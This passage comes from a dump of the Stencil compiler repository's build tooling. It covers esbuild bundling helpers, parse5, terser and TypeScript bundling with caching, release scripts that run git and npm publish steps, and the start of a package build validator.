join(opts.buildDir, 'compiler', 'sys', 'environment.js');\n      }\n      if (id === '@sys-api-node') {\n        return join(opts.buildDir, 'sys', 'node', 'index.js');\n      }\n      if (id === '@stencil/core/cli') {\n        return join(opts.buildDir, 'cli', 'index.js');\n      }\n      if (helperResolvers.has(id)) {\n        return join(opts.bundleHelpersDir, `${id}.js`);\n      }\n      if (empty.has(id)) {\n        return join(opts.bundleHelpersDir, 'empty.js');\n      }\n      if (nodeResolvers.has(id)) {\n        return nodeResolvers.get(id);\n      }\n      return null;\n    },\n  };\n}\n"
  },
  {
    "path": "scripts/esbuild/utils/content-types.ts",
    "content": "import fs from 'fs-extra';\nimport { join } from 'path';\n\nimport type { BuildOptions } from '../../utils/options';\n\nexport async function createContentTypeData(opts: BuildOptions) {\n  // create a focused content-type lookup object from\n  // the mime db json file\n  const mimeDbSrcPath = join(opts.nodeModulesDir, 'mime-db', 'db.json');\n  const mimeDbJson = await fs.readJson(mimeDbSrcPath);\n\n  const extData: { ext: string; mimeType: string }[] = [];\n\n  Object.keys(mimeDbJson).forEach((mimeType) => {\n    const mimeTypeData = mimeDbJson[mimeType];\n    if (Array.isArray(mimeTypeData.extensions)) {\n      mimeTypeData.extensions.forEach((ext: string) => {\n        extData.push({\n          ext,\n          mimeType,\n        });\n      });\n    }\n  });\n\n  const exts: Record<string, string> = {};\n  extData\n    .sort((a, b) => {\n      if (a.ext < b.ext) return -1;\n      if (a.ext > b.ext) return 1;\n      return 0;\n    })\n    .forEach((x: any) => (exts[x.ext] = x.mimeType));\n\n  return `export default ${JSON.stringify(exts)}`;\n}\n"
  },
  {
    "path": "scripts/esbuild/utils/index.ts",
    "content": "import type { BuildOptions as ESBuildOptions, BuildResult as ESBuildResult, OutputFile, Plugin } from 'esbuild';\nimport { build, context } from 'esbuild';\n\nimport { BuildOptions } from '../../utils/options';\n\n/**\n * Aliases which map the module identifiers we set in `paths` in `tsconfig.json` to\n * bundles (built either with esbuild or with rollup).\n *\n * @returns a map of aliases to bundle entry points, relative to the root directory\n */\nexport function getEsbuildAliases(): Record<string, string> {\n  return {\n    // node module redirection\n    chalk: 'ansi-colors',\n\n    // mapping aliases to top-level bundle entrypoints\n    '@stencil/core/testing': '../testing/index.js',\n    '@stencil/core/compiler': '../compiler/stencil.js',\n    '@stencil/core/dev-server': '../dev-server/index.js',\n    '@stencil/core/mock-doc': '../mock-doc/index.cjs',\n    '@stencil/core/internal/testing': '../internal/testing/index.js',\n    '@stencil/core/cli': '../cli/index.cjs',\n    '@sys-api-node': '../sys/node/index.js',\n  };\n}\n\n/**\n * Node modules which should be universally marked as external\n *\n * Note that we should not rely on this to mark node.js built-in modules as\n * external. Doing so will override esbuild's automatic marking of those modules\n * as side-effect-free, which allows imports from them to be properly\n * tree-shaken.\n */\nexport const externalNodeModules = [\n  '@jest/core',\n  '@jest/reporters',\n  '@microsoft/typescript-etw',\n  'expect',\n  'fsevents',\n  'jest',\n  'jest-cli',\n  'jest-config',\n  'jest-message-id',\n  'jest-pnp-resolver',\n  'jest-environment-node',\n  'jest-runner',\n  'puppeteer',\n  'puppeteer-core',\n  'yargs',\n];\n\n/**\n * A helper which runs an array of esbuild, uh, _builds_\n *\n * This accepts an array of build configurations and will either run a\n * synchronous build _or_ run them all in watch mode, depending on the\n * {@link BuildOptions['isWatch']} setting.\n *\n * @param builds the array of outputs to build\n * @param opts Stencil build options\n * @returns a Promise representing the execution of the builds\n */\nexport function runBuilds(builds: ESBuildOptions[], opts: BuildOptions): Promise<(void | ESBuildResult)[]> {\n  if (opts.isWatch) {\n    return Promise.all(\n      builds.map(async (buildConfig) => {\n        const ctx = await context(buildConfig);\n        return ctx.watch();\n      }),\n    );\n  } else {\n    return Promise.all(builds.map(build));\n  }\n}\n\n/**\n * Get base esbuild options which we want to always have set for all of our\n * bundles\n *\n * @returns a base set of options\n */\nexport function getBaseEsbuildOptions(): ESBuildOptions {\n  const options: ESBuildOptions = {\n    bundle: true,\n    legalComments: 'inline',\n    logLevel: 'info',\n    target: getEsbuildTargets(),\n  };\n\n  // if the `build` sub-command is called with the `DEBUG` env var, like\n  //\n  // DEBUG=true npm run build\n  //\n  // then we should produce sourcemaps.\n  if (process.env.DEBUG) {\n    options.sourcemap = 'linked';\n  }\n\n  return options;\n}\n\n/**\n * Get build targets with minimal supported browser versions\n * @see https://stenciljs.com/docs/support-policy#browser-support\n * @returns an array of build targets\n */\nexport function getEsbuildTargets(): string[] {\n  return ['node16', 'chrome79', 'edge79', 'firefox70', 'safari14'];\n}\n\n/**\n * Alias and mark a module as external at the same time\n *\n * @param moduleId the module ID to alias and externalize\n * @param resolveToPath the path to which imports of the module should be rewritten\n * @returns an Esbuild plugin\n */\nexport function externalAlias(moduleId: string, resolveToPath: string): Plugin {\n  return {\n    name: 'externalAliases',\n    setup(build) {\n      build.onResolve({ filter: new RegExp(`^${moduleId}$`) }, () => {\n        return {\n          path: resolveToPath,\n          external: true,\n        };\n      });\n    },\n  };\n}\n\n/**\n * Extract the first {@link OutputFile} record from an Esbuild\n * {@link BuildResult}. This _may_ not be present, so in order to guarantee\n * type safety this function throws if such an `OutputFile` cannot be found.\n *\n * @throws if no `OutputFile` can be found.\n * @param buildResult the Esbuild build result in which to look\n * @returns the OutputFile\n */\nexport function getFirstOutputFile(buildResult: ESBuildResult): OutputFile {\n  const bundle = buildResult.outputFiles?.[0];\n  if (!bundle) {\n    throw new Error('Could not find an output file in the BuildResult!');\n  }\n  return bundle;\n}\n"
  },
  {
    "path": "scripts/esbuild/utils/parse5.ts",
    "content": "import rollupCommonjs from '@rollup/plugin-commonjs';\nimport rollupResolve from '@rollup/plugin-node-resolve';\nimport fs from 'fs-extra';\nimport { join } from 'path';\nimport { rollup } from 'rollup';\n\nimport type { BuildOptions } from '../../utils/options';\nimport { aliasPlugin } from './alias-plugin';\n\n/**\n * Bundles parse5 to be used in the Stencil output. Writes the results to disk and returns its contents. The file\n * written to disk may be used as a simple cache to speed up subsequent build times.\n * @param opts the options being used during a build of the Stencil compiler\n * @returns a tuple holding 1) contents of the file containing parse5 and 2) the file path where it's written\n */\nexport async function bundleParse5(opts: BuildOptions): Promise<[contents: string, path: string]> {\n  const fileName = `parse5-${opts.parse5Version.replace(/\\./g, '_')}-bundle-cache${opts.isProd ? '.min' : ''}.js`;\n  const cacheFile = join(opts.scriptsBuildDir, fileName);\n\n  try {\n    return [await fs.readFile(cacheFile, 'utf8'), cacheFile];\n  } catch (e) {}\n\n  const rollupBuild = await rollup({\n    input: '@parse5-entry',\n    plugins: [\n      {\n        name: 'parse5EntryPlugin',\n        /**\n         * A rollup build hook for resolving @parse5-entry [Source](https://rollupjs.org/guide/en/#resolveid)\n         * @param id the importee exactly as it is written in an import statement in the source code\n         * @returns a string that resolves an import to some id\n         */\n        resolveId(id: string): string | null {\n          if (id === '@parse5-entry') {\n            return id;\n          }\n          return null;\n        },\n        /**\n         * A rollup build hook for intercepting how parse5's entry package is processed\n         * [Source](https://rollupjs.org/guide/en/#load)\n         * @param id the path of the module to load\n         * @returns source code to act as a proxy for @parse5-entry\n         */\n        load(id: string): string | null {\n          if (id === '@parse5-entry') {\n            return `export { parse, parseFragment } from 'parse5';`;\n          }\n          return null;\n        },\n      },\n      aliasPlugin(opts),\n      rollupResolve(),\n      rollupCommonjs(),\n    ],\n  });\n\n  const { output } = await rollupBuild.generate({\n    format: 'iife',\n    name: 'PARSE5',\n    footer: ['export const parse = PARSE5.parse;', 'export const parseFragment = PARSE5.parseFragment;'].join('\\n'),\n    strict: false,\n  });\n\n  let code = output[0].code;\n\n  const { minify } = await import('terser');\n\n  if (opts.isProd) {\n    const minified = await minify(code, {\n      ecma: 2018,\n      module: true,\n      compress: {\n        ecma: 2018,\n        passes: 2,\n      },\n      format: {\n        ecma: 2018,\n        comments: false,\n      },\n    });\n    if (minified.code) {\n      code = minified.code;\n    }\n  }\n\n  code = `// Parse5 ${opts.parse5Version}\\n` + code;\n\n  await fs.writeFile(cacheFile, code);\n\n  return [code, cacheFile];\n}\n"
  },
  {
    "path": "scripts/esbuild/utils/terser.ts",
    "content": "import fs from 'fs-extra';\nimport { join } from 'path';\nimport { rollup } from 'rollup';\n\nimport type { BuildOptions } from '../../utils/options';\n\n/**\n * Creates a bundle containing Terser\n * @param opts the options being used during a build\n * @returns a tuple containing the bundled Terser code and the path where it\n * was written\n */\nexport async function bundleTerser(opts: BuildOptions): Promise<[content: string, path: string]> {\n  if (!opts.terserVersion) {\n    throw new Error('Terser version not set on build opts!');\n  }\n\n  const fileName = `terser-${opts.terserVersion.replace(/\\./g, '_')}-bundle-cache${opts.isProd ? '.min' : ''}.js`;\n  const cacheFile = join(opts.scriptsBuildDir, fileName);\n\n  try {\n    const content = await fs.readFile(cacheFile, 'utf8');\n    return [content, cacheFile];\n  } catch (e) {}\n\n  const rollupBuild = await rollup({\n    input: join(opts.nodeModulesDir, 'terser', 'main.js'),\n    external: ['source-map'],\n  });\n\n  const { output } = await rollupBuild.generate({\n    format: 'es',\n    strict: false,\n  });\n\n  let code = output[0].code;\n\n  const { minify } = await import('terser');\n\n  if (opts.isProd) {\n    const minified = await minify(code, {\n      ecma: 2018,\n      compress: {\n        ecma: 2018,\n        passes: 2,\n      },\n      format: {\n        ecma: 2018,\n        comments: false,\n      },\n    });\n    if (minified.code) {\n      code = minified.code;\n    }\n  }\n\n  code = `// Terser ${opts.terserVersion}\\n` + code;\n\n  await fs.writeFile(cacheFile, code);\n\n  return [code, cacheFile];\n}\n"
  },
  {
    "path": "scripts/esbuild/utils/typescript-source.ts",
    "content": "import fs from 'fs-extra';\nimport { join } from 'path';\n\nimport type { BuildOptions } from '../../utils/options';\n\n/**\n * Bundles the TypeScript compiler in the Stencil output. This function also performs several optimizations and\n * modifications to the TypeScript source.\n * @param tsPath a path to the TypeScript compiler\n * @param opts the options being used during a build of the Stencil compiler\n * @returns the modified TypeScript source\n */\nexport async function bundleTypeScriptSource(tsPath: string, opts: BuildOptions): Promise<string> {\n  const cacheFile = tsCacheFilePath(opts);\n\n  try {\n    // check if we've already cached this bundle\n    return await fs.readFile(cacheFile, 'utf8');\n  } catch (e) {}\n\n  // get the source typescript.js file to modify\n  let code = await fs.readFile(tsPath, 'utf8');\n\n  // As of 5.0, because typescript is now bundled with esbuild the structure of\n  // the file we're dealing with here (`lib/typescript.js`) has changed.\n  // Previously there was an iife which got an object as an argument and just\n  // stuck properties onto it, something like\n  //\n  // ```js\n  // var ts = (function (ts) {\n  //   ts.someMethod = () => { ... };\n  // })(ts || ts = {});\n  // ```\n  //\n  // as of 5.0 it instead looks (conceptually) something like:\n  //\n  // ```js\n  // var ts = (function () {\n  //   const ts = {}\n  //   const define = (name, value) => {\n  //     Object.defineProperty(ts, name, value, { enumerable: true })\n  //   }\n  //   define('someMethod', () => { ... })\n  //   return ts;\n  // })();\n  // ```\n  //\n  // Note that the call to `Object.defineProperty` does not set `configurable` to `true`\n  // (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#description)\n  // which means that later calls to do something like\n  //\n  // ```ts\n  // import ts from 'typescript';\n  //\n  // ts.someMethod = function myReplacementForSomeMethod () {\n  //   ...\n  // };\n  // ```\n  //\n  // will fail because without `configurable: true` you can't re-assign\n  // properties.\n  //\n  // All well and good, except for the fact that our patching of typescript to\n  // use for instance the in-memory file system depends on us being able to\n  // monkey-patch typescript in exactly this way. So in order to retain our\n  // current approach to patching TypeScript we need to edit this file in order\n  // to add `configurable: true` to the options passed to\n  // `Object.defineProperty`:\n  const TS_PROP_DEFINER = `__defProp(target, name, { get: all[name], enumerable: true });`;\n  const TS_PROP_DEFINER_RECONFIGURABLE = `__defProp(target, name, { get: all[name], enumerable: true, configurable: true });`;\n\n  code = code.replace(TS_PROP_DEFINER, TS_PROP_DEFINER_RECONFIGURABLE);\n\n  const jestTypesciptFilename = join(opts.scriptsBuildDir, 'typescript-modified-for-jest.js');\n  await fs.writeFile(jestTypesciptFilename, code);\n\n  // TODO(STENCIL-839): investigate minification issue w/ typescript 5.0\n  // const { minify } = await import('terser');\n\n  // if (opts.isProd) {\n  //   const minified = await minify(code, {\n  //     ecma: 2018,\n  //     // module: true,\n  //     compress: {\n  //       ecma: 2018,\n  //       passes: 2,\n  //     },\n  //     format: {\n  //       ecma: 2018,\n  //       comments: false,\n  //     },\n  //   });\n  //   code = minified.code;\n  // }\n\n  await fs.writeFile(cacheFile, code);\n\n  return code;\n}\n\n/**\n * Get the file path to which the cached, modified version of TypeScript will\n * be written\n *\n * @param opts build options for the current Stencil build\n * @returns the path where the modified TypeScript source can be found\n */\nexport function tsCacheFilePath(opts: BuildOptions): string {\n  const fileName = `typescript-${opts.typescriptVersion.replace(/\\./g, '_')}-bundle-cache${\n    opts.isProd ? '.min' : ''\n  }.js`;\n  const cacheFile = join(opts.scriptsBuildDir, fileName);\n  return cacheFile;\n}\n"
  },
  {
    "path": "scripts/index.ts",
    "content": "import { join } from 'path';\n\nimport * as build from './build';\n\n// This path is relative to the final location of the compiled script, not its TypeScript source\nconst stencilProjectRoot = join(__dirname, '..');\nconst args = process.argv.slice(2);\nbuild.run(stencilProjectRoot, args);\n"
  },
  {
    "path": "scripts/release-tasks.ts",
    "content": "import color from 'ansi-colors';\nimport Listr, { ListrTask } from 'listr';\n\nimport { buildAll } from './build';\nimport { BuildOptions } from './utils/options';\nimport { isPrereleaseVersion, isValidVersionInput, SEMVER_INCREMENTS, updateChangeLog } from './utils/release-utils';\n\n/**\n * We have to wrap `execa` in a promise to ensure it works with `Listr`. `Listr` uses rxjs under the hood which\n * seems to have issues with `execa`'s `ResultPromise` as it never resolves a task.\n * @param command command to run\n * @param args    arguments to pass to the command\n * @param options `execa` options\n * @returns a promise that resolves with the stdout and stderr of the command\n */\nasync function execa(command: string, args: string[], options?: any) {\n  /**\n   * consecutive imports are cached and don't have an impact on the execution speed\n   */\n  const { execa: execaOrig } = await import('execa');\n\n  return new Promise<{ stdout: string; stderr: string }>((resolve, reject) => {\n    const run = execaOrig(command, args, options);\n    run.then(\n      ({ stdout, stderr }) =>\n        resolve({\n          stdout: stdout as unknown as string,\n          stderr: stderr as unknown as string,\n        }),\n      (err) => reject(err),\n    );\n  });\n}\n\n/**\n * Runs a litany of tasks used to ensure a safe release of a new version of Stencil\n * @param opts build options containing the metadata needed to release a new version of Stencil\n * @param args stringified arguments used to influence the release steps that are taken\n */\nexport async function runReleaseTasks(opts: BuildOptions, args: ReadonlyArray<string>): Promise<void> {\n  const rootDir = opts.rootDir;\n  const pkg = opts.packageJson;\n  const tasks: ListrTask[] = [];\n  const newVersion = opts.version;\n  const isDryRun = args.includes('--dry-run') || opts.version.includes('dryrun');\n  let tagPrefix: string;\n\n  if (isDryRun) {\n    console.log(color.bold.yellow(`\\n  🏃‍ Dry Run!\\n`));\n  }\n\n  if (!opts.isPublishRelease) {\n    /**\n     * For automated and manual releases, always verify that the version provided to the release scripts is a valid\n     * semver 'word' (e.g. 'major', 'minor', etc.) or version (e.g. 1.0.0)\n     */\n    tasks.push({\n      title: 'Validate version',\n      task: () => {\n        if (!isValidVersionInput(opts.version)) {\n          throw new Error(`Version should be either ${SEMVER_INCREMENTS.join(', ')}, or a valid semver version.`);\n        }\n      },\n      skip: () => isDryRun,\n    });\n  }\n\n  if (opts.isPublishRelease) {\n    tasks.push({\n      title: 'Check for pre-release version',\n      task: () => {\n        if (!pkg.private && isPrereleaseVersion(newVersion) && !opts.tag) {\n          throw new Error(\n            'You must specify a dist-tag using --tag when publishing a pre-release version. This prevents accidentally tagging unstable versions as \"latest\". https://docs.npmjs.com/cli/dist-tag',\n          );\n        }\n      },\n    });\n  }\n\n  tasks.push({\n    /**\n     * When we both pre-release and release, it's beneficial to ensure that the tag does not already exist in git.\n     * Doing so ought to catch out of the ordinary circumstances that ought to be investigated.\n     */\n    title: 'Check git tag existence',\n    task: () =>\n      execa('git', ['fetch'])\n        // Retrieve the prefix for a version string - https://docs.npmjs.com/cli/v7/using-npm/config#tag-version-prefix\n        .then(() => execa('npm', ['config', 'get', 'tag-version-prefix']))\n        .then(\n          ({ stdout }) => (tagPrefix = stdout),\n          () => {},\n        )\n        // verify that a tag for the new version string does not already exist by checking the output of\n        // `git rev-parse --verify`\n        .then(() => execa('git', ['rev-parse', '--quiet', '--verify', `refs/tags/${tagPrefix}${newVersion}`]))\n        .then(\n          ({ stdout }) => {\n            if (stdout) {\n              throw new Error(`Git tag \\`${tagPrefix}${newVersion}\\` already exists.`);\n            }\n          },\n          (err) => {\n            // Command fails with code 1 and no output if the tag does not exist, even though `--quiet` is provided\n            // https://github.com/sindresorhus/np/pull/73#discussion_r72385685\n            if (err.stdout !== '' || err.stderr !== '') {\n              throw err;\n            }\n          },\n        ),\n    skip: () => isDryRun,\n  });\n\n  tasks.push(\n    {\n      title: `Install npm dependencies ${color.dim('(npm ci)')}`,\n      task: () => execa('npm', ['ci'], { cwd: rootDir }),\n      // for pre-releases, this step will occur in GitHub after the PR has been created.\n      // for actual releases, we'll need to build + bundle stencil in order to publish it to npm.\n      skip: () => !opts.isPublishRelease,\n    },\n    {\n      title: `Transpile Stencil ${color.dim('(tsc.prod)')}`,\n      task: () => execa('npm', ['run', 'tsc.prod'], { cwd: rootDir }),\n      // for pre-releases, this step will occur in GitHub after the PR has been created.\n      // for actual releases, we'll need to build + bundle stencil in order to publish it to npm.\n      skip: () => !opts.isPublishRelease,\n    },\n    {\n      title: `Bundle @stencil/core ${color.dim('(' + opts.buildId + ')')}`,\n      task: () => buildAll(opts),\n      // for pre-releases, this step will occur in GitHub after the PR has been created.\n      // for actual releases, we'll need to build + bundle stencil in order to publish it to npm.\n      skip: () => !opts.isPublishRelease,\n    },\n  );\n\n  if (!opts.isPublishRelease) {\n    tasks.push(\n      {\n        title: `Set package.json version to ${color.bold.yellow(opts.version)}`,\n        task: async () => {\n          // use `--no-git-tag-version` to ensure that the tag for the release is not prematurely created\n          await execa('npm', ['version', '--no-git-tag-version', opts.version], { cwd: rootDir });\n        },\n      },\n      {\n        title: `Generate ${opts.version} Changelog ${opts.vermoji}`,\n        task: async () => {\n          await updateChangeLog(opts);\n        },\n      },\n    );\n  }\n\n  if (opts.isPublishRelease) {\n    tasks.push(\n      {\n        title: 'Publish @stencil/core to npm',\n        task: () => {\n          const cmd = 'npm';\n          const cmdArgs = ['publish'].concat(opts.tag ? ['--tag', opts.tag] : []).concat(['--provenance']);\n\n          if (isDryRun) {\n            return console.log(`[dry-run] ${cmd} ${cmdArgs.join(' ')}`);\n          }\n          return execa(cmd, cmdArgs, { cwd: rootDir });\n        },\n      },\n      {\n        title: 'Tagging the latest git commit',\n        task: () => {\n          const cmd = 'git';\n          const cmdArgs = ['tag', `v${opts.version}`];\n\n          if (isDryRun) {\n            return console.log(`[dry-run] ${cmd} ${cmdArgs.join(' ')}`);\n          }\n          return execa(cmd, cmdArgs, { cwd: rootDir });\n        },\n      },\n      {\n        title: 'Pushing git tags',\n        task: () => {\n          const cmd = 'git';\n          const cmdArgs = ['push', '--tags'];\n\n          if (isDryRun) {\n            return console.log(`[dry-run] ${cmd} ${cmdArgs.join(' ')}`);\n          }\n          return execa(cmd, cmdArgs, { cwd: rootDir });\n        },\n      },\n    );\n  }\n\n  const listr = new Listr(tasks);\n\n  try {\n    await listr.run();\n  } catch (err: any) {\n    console.log(`\\n🤒  ${color.red(err)}\\n`);\n    console.log(err);\n    process.exit(1);\n  }\n  if (opts.isPublishRelease) {\n    console.log(\n      `\\n ${opts.vermoji}  ${color.bold.magenta(pkg.name)} ${color.bold.yellow(newVersion)} published!! ${\n        opts.vermoji\n      }\\n`,\n    );\n  } else {\n    console.log(\n      `\\n ${opts.vermoji}  ${color.bold.magenta(pkg.name)} ${color.bold.yellow(\n        newVersion,\n      )} prepared, check the diffs and commit ${opts.vermoji}\\n`,\n    );\n  }\n}\n"
  },
  {
    "path": "scripts/release.ts",
    "content": "import color from 'ansi-colors';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\nimport { runReleaseTasks } from './release-tasks';\nimport { BuildOptions, getOptions } from './utils/options';\nimport { getNewVersion } from './utils/release-utils';\nimport { getLatestVermoji } from './utils/vermoji';\n\n/**\n * Runner for creating a release of Stencil\n * @param rootDir the root directory of the Stencil repository\n * @param args stringified arguments used to influence the release steps that are taken\n * @returns a void promise\n */\nexport async function release(rootDir: string, args: ReadonlyArray<string>): Promise<void> {\n  const buildDir = join(rootDir, 'build');\n\n  if (args.includes('--ci-prepare')) {\n    await fs.emptyDir(buildDir);\n    const prepareOpts = getOptions(rootDir, {\n      isCI: true,\n      isPublishRelease: false,\n      isProd: true,\n    });\n\n    const versionIdx = args.indexOf('--version');\n    if (versionIdx === -1 || versionIdx === args.length) {\n      console.log(`\\n${color.bold.red('No `--version [VERSION]` argument was found. Exiting')}\\n`);\n      process.exit(1);\n    }\n    if (prepareOpts.packageJson.version) {\n      prepareOpts.version = getNewVersion(prepareOpts.packageJson.version, args[versionIdx + 1]);\n    }\n\n    await prepareRelease(prepareOpts, args);\n    console.log(`${color.bold.blue('Release Prepared!')}`);\n  }\n\n  if (args.includes('--ci-publish')) {\n    const prepareOpts = getOptions(rootDir, {\n      isCI: true,\n      isPublishRelease: false,\n      isProd: true,\n    });\n    // this was bumped already, we just need to copy it from package.json into this field\n    if (prepareOpts.packageJson.version) {\n      prepareOpts.version = prepareOpts.packageJson.version;\n    }\n\n    // we generated a vermoji during the preparation step, let's grab it from the changelog\n    prepareOpts.vermoji = getLatestVermoji(prepareOpts.changelogPath);\n\n    const tagIdx = args.indexOf('--tag');\n    let newTag = null;\n    if (tagIdx === -1 || tagIdx === args.length) {\n      console.log(`\\n${color.bold.yellow('No `--tag [TAG]` argument was found.')}\\n`);\n    } else if (args[tagIdx + 1] === 'use_pkg_json_version') {\n      console.log(\n        `\\n${color.bold.green(\n          'The default package.json version will be used for the tag. No additional tags will be applied.',\n        )}\\n`,\n      );\n    } else {\n      newTag = args[tagIdx + 1];\n      console.log(`\\n${color.bold.green(`Set '--tag' argument to '${newTag}'.`)}\\n`);\n    }\n\n    console.log(`${color.bold.blue(`Version: ${prepareOpts.version}`)}`);\n    console.log(`${color.bold.blue(`Tag: ${newTag}`)}`);\n\n    const publishOpts = getOptions(rootDir, {\n      buildId: prepareOpts.buildId,\n      version: prepareOpts.version,\n      vermoji: prepareOpts.vermoji,\n      isCI: prepareOpts.isCI,\n      isPublishRelease: true,\n      isProd: true,\n      tag: newTag ?? undefined,\n    });\n    return await publishRelease(publishOpts, args);\n  }\n}\n\n/**\n * Prepares a release of Stencil\n * @param opts build options containing the metadata needed to release a new version of Stencil\n * @param args stringified arguments used to influence the release steps that are taken\n */\nasync function prepareRelease(opts: BuildOptions, args: ReadonlyArray<string>): Promise<void> {\n  const pkg = opts.packageJson;\n  const oldVersion = opts.packageJson.version;\n  console.log(\n    `\\nPrepare to publish ${opts.vermoji}  ${color.bold.magenta(pkg.name)} ${color.dim(`(currently ${oldVersion})`)}\\n`,\n  );\n\n  try {\n    await runReleaseTasks(opts, args);\n  } catch (err: any) {\n    console.log('\\n', color.red(err), '\\n');\n    process.exit(0);\n  }\n}\n\n/**\n * Initiates publishing a Stencil release.\n * @param opts build options containing the metadata needed to publish a new version of Stencil\n * @param args stringified arguments used to influence the steps that are taken\n * @returns a void promise\n */\nasync function publishRelease(opts: BuildOptions, args: ReadonlyArray<string>): Promise<void> {\n  const pkg = opts.packageJson;\n  if (opts.version !== pkg.version) {\n    throw new Error(\n      `Prepare release data (${opts.version}) and package.json (${pkg.version}) versions do not match. Try re-running release prepare.`,\n    );\n  }\n\n  console.log(`\\nPublish ${opts.vermoji}  ${color.bold.magenta(pkg.name)} ${color.yellow(`${opts.version}`)}\\n`);\n\n  try {\n    await runReleaseTasks(opts, args);\n  } catch (err: any) {\n    console.log('\\n', color.red(err), '\\n');\n    process.exit(0);\n  }\n}\n"
  },
  {
    "path": "scripts/test/copy-readme.js",
    "content": "/**\n * This script copies a supplemental README file to the location where it will be overwritten\n * during the `docs-readme` output target test. The purpose of this step is to ensure that\n * the file is in a known state before the test runs, avoiding issues with Git detecting\n * unexpected changes to the file.\n *\n * Context:\n * - During the `docs-readme` tests, a README file is overwritten as part of the test process.\n * - The expected result of the test must be tracked by Git; otherwise, Git will detect a \"dirty\"\n *   state and the test will fail.\n * - This behaviour can be used to our advantage: if the file is overwritten with the supplemental\n *   file but not overwritten back to the expected result, Git will detect a dirty state, causing\n *   the test to fail. This ensures that the correct action is taken by the code being tested.\n *\n * Usage:\n * - This script is executed as part of the `prepare.readmes` npm script.\n * - It copies `readme-supplemental.md` to `readme.md` in the appropriate directory.\n */\n\nconst fs = require('fs');\nconst path = require('path');\n\n// Define source and destination paths\nconst src = path.resolve(\n  __dirname,\n  '../../test/docs-readme/custom-readme-output-overwrite/components/styleurls-component/readme-supplemental.md',\n);\nconst dest = path.resolve(\n  __dirname,\n  '../../test/docs-readme/custom-readme-output-overwrite/components/styleurls-component/readme.md',\n);\n\n// Copy the file\ntry {\n  fs.copyFileSync(src, dest);\n  console.log(`Copied ${src} to ${dest}`);\n} catch (err) {\n  console.error(`Error copying file: ${err.message}`);\n  process.exit(1);\n}\n"
  },
  {
    "path": "scripts/test/validate-build.ts",
    "content": "import fs from 'fs-extra';\nimport { dirname, join, relative } from 'path';\nimport { rollup } from 'rollup';\nimport ts, { ModuleResolutionKind, ScriptTarget } from 'typescript';\nimport url from 'url';\n\nimport { NODE_BUILTINS } from '../utils/constants';\nimport { BuildOptions, getOptions } from '../utils/options';\nimport { PackageData } from '../utils/write-pkg-json';\n\n/**\n * Used to triple check that the final build files\n * ready to be published are good to go\n */\nconst pkgs: TestPackage[] = [\n  {\n    // cli\n    packageJson: 'cli/package.json',\n  },\n  {\n    // compiler\n    packageJson: 'compiler/package.json',\n    files: ['compiler/lib.d.ts', 'compiler/lib.dom.d.ts'],\n  },\n  {\n    // dev-server\n    packageJson: 'dev-server/package.json',\n    files: [\n      'dev-server/static/favicon.ico',\n      'dev-server/templates/directory-index.html',\n      'dev-server/templates/initial-load.html',\n      'dev-server/connector.html',\n      'dev-server/server-process.js',\n      'dev-server/server-worker-thread.js',\n      'dev-server/visualstudio.vbs',\n      'dev-server/xdg-open',\n    ],\n  },\n  {\n    // internal/app-data\n    packageJson: 'internal/app-data/package.json',\n  },\n  {\n    // internal/client\n    packageJson: 'internal/client/package.json',\n    files: ['internal/client/polyfills/'],\n  },\n  {\n    // internal/hydrate\n    packageJson: 'internal/hydrate/package.json',\n    files: ['internal/hydrate/runner.d.ts', 'internal/hydrate/runner.js'],\n  },\n  {\n    // internal/testing\n    packageJson: 'internal/testing/package.json',\n  },\n  {\n    // internal\n    packageJson: 'internal/package.json',\n    files: [\n      'internal/stencil-core/index.cjs',\n      'internal/stencil-core/index.js',\n      'internal/stencil-core/index.d.ts',\n      'internal/stencil-ext-modules.d.ts',\n      'internal/stencil-private.d.ts',\n      'internal/stencil-public-compiler.d.ts',\n      'internal/stencil-public-docs.d.ts',\n      'internal/stencil-public-runtime.d.ts',\n    ],\n  },\n  {\n    // mock-doc\n    packageJson: 'mock-doc/package.json',\n  },\n  {\n    // screenshot\n    packageJson: 'screenshot/package.json',\n    files: [\n      'screenshot/compare/',\n      'screenshot/connector.js',\n      'screenshot/local-connector.js',\n      'screenshot/pixel-match.js',\n    ],\n  },\n  {\n    // sys/node\n    packageJson: 'sys/node/package.json',\n    files: ['sys/node/autoprefixer.js', 'sys/node/graceful-fs.js', 'sys/node/node-fetch.js'],\n  },\n  {\n    // testing\n    packageJson: 'testing/package.json',\n    files: [\n      'testing/jest-environment.js',\n      'testing/jest-preprocessor.js',\n      'testing/jest-preset.js',\n      'testing/jest-runner.js',\n      'testing/jest-setuptestframework.js',\n    ],\n  },\n  {\n    // @stencil/core\n    packageJson: 'package.json',\n    packageJsonFiles: [\n      'bin/',\n      'cli/',\n      'compiler/',\n      'dev-server/',\n      'internal/',\n      'mock-doc/',\n      'screenshot/',\n      'sys/',\n      'testing/',\n    ],\n    files: ['CHANGELOG.md', 'LICENSE.md', 'readme.md'],\n    hasBin: true,\n  },\n];\n\n/**\n * Validate that certain files were written to disk during the build, and that\n * these files tree-shake correctly.\n *\n * @param rootDir the root of the Stencil repository\n */\nexport async function validateBuild(rootDir: string): Promise<void> {\n  const dtsEntries: string[] = [];\n  const opts = getOptions(rootDir);\n  pkgs.forEach((testPkg) => {\n    validatePackage(opts, testPkg, dtsEntries);\n  });\n  console.log(`🐡  Validated packages`);\n\n  validateDts(opts, dtsEntries);\n\n  await validateCompiler(opts);\n  await validateTreeshaking(opts);\n}\n\n/**\n * Validates a bundled package/sub-module. Validation steps include verifying that various fields in `package.json` are\n * filled out and file references are valid.\n * @param opts build options to be used to validate a package\n * @param testPkg the package to validate\n * @param dtsEntries a reference to .d.ts files to collect while validating the package\n */\nfunction validatePackage(opts: BuildOptions, testPkg: TestPackage, dtsEntries: string[]): void {\n  const rootDir = opts.rootDir;\n\n  if (testPkg.packageJson) {\n    testPkg.packageJson = join(rootDir, testPkg.packageJson);\n    const pkgDir = dirname(testPkg.packageJson);\n    const pkgJson: PackageData = require(testPkg.packageJson);\n\n    if (!pkgJson.name) {\n      throw new Error('missing package.json name: ' + testPkg.packageJson);\n    }\n\n    if (!pkgJson.main) {\n      throw new Error('missing package.json main: ' + testPkg.packageJson);\n    }\n\n    if (testPkg.packageJsonFiles) {\n      if (!Array.isArray(pkgJson.files)) {\n        throw new Error(testPkg.packageJson + ' missing \"files\" property');\n      }\n      pkgJson.files.forEach((f) => {\n        if (f === '!**/*.map' || f === '!**/*.stub.ts' || f === '!**/*.stub.tsx') {\n          // 